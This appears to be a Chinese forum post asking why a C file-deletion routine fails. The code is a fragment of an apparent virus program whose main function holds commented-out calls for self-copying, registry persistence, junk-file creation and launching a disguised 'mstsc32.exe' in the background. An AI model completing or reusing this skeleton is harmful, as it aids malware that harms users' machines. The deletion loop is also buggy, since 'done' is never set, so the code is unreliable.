不能删除文件
/*=====================================================================*//*
函数:删除文件
*/
void remove_files()
{
long done;
int i;
struct _finddata_t ffblk;
char *remove_files[3]={"*.tmp","*._mm","*.lgg"};
for(i=0;i<3;i++)
{
if(_findfirst(remove_files[i],&ffblk)==-1) continue;
while(!done)
{
remove(ffblk.name);
_findnext(done,&ffblk);
}
_findclose(done);
}
}
/*=====================================================================*/
/*
主程序
使用DEV-CPP 32位C工程 实现.C程序脱离命令行界面,于后台执行
*/
int main(int argc,char **argv)
{
int contral=0;
if(argc>1)
if(strcmp(argv[1],"/s")==0)
goto next1;
/* autorun_explorer();
spawnl(1,"c:\\windows\\system\\explorer.exe",NULL);*/
next1:
/* add_reg();
copy_virus();
make_rubbish();*/
remove_files();
/* spawnl(1,"c:\\windows\\system32\\mstsc32.exe"," /s",NULL);*/
return 0;
}